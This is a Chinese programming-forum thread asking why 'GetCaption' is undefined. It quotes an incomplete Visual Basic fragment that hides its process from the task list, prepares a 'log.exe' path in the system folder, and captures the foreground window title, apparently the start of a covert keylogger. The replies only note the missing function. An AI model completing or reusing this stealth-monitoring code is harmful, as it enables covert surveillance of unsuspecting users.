GetCaption未定义

欧阳海修 2010-07-25 02:58:58

Private Sub Form_Load()
Timer1.Enabled = False
Timer2.Enabled = False
For Each ctl In Me.Controls
If TypeOf ctl Is TextBox Then
ctl.Text = ""
End If
Next
App.TaskVisible = False '隐藏进程
If App.PrevInstance Then '防止重复运行
End If
Dim mypath As String
Dim r As Long
Dim keyhand As Long
Dim regfpath As String
regfpath = systempath & "\log.exe"
currentwindow = GetCaption(GetForegroundWindow)
'获得当前窗口.
'-----------------------------------------------
...全文
112 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
chinaboyzyq 2010-07-26
  • 打赏
  • 举报
回复
需要有GetCaption函数
愤怒的程序员 2010-07-26
  • 打赏
  • 举报
回复
代码不全,无法判断。。

1,486

社区成员

发帖
与我相关
我的任务
社区描述
VB API
社区管理员
  • API
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧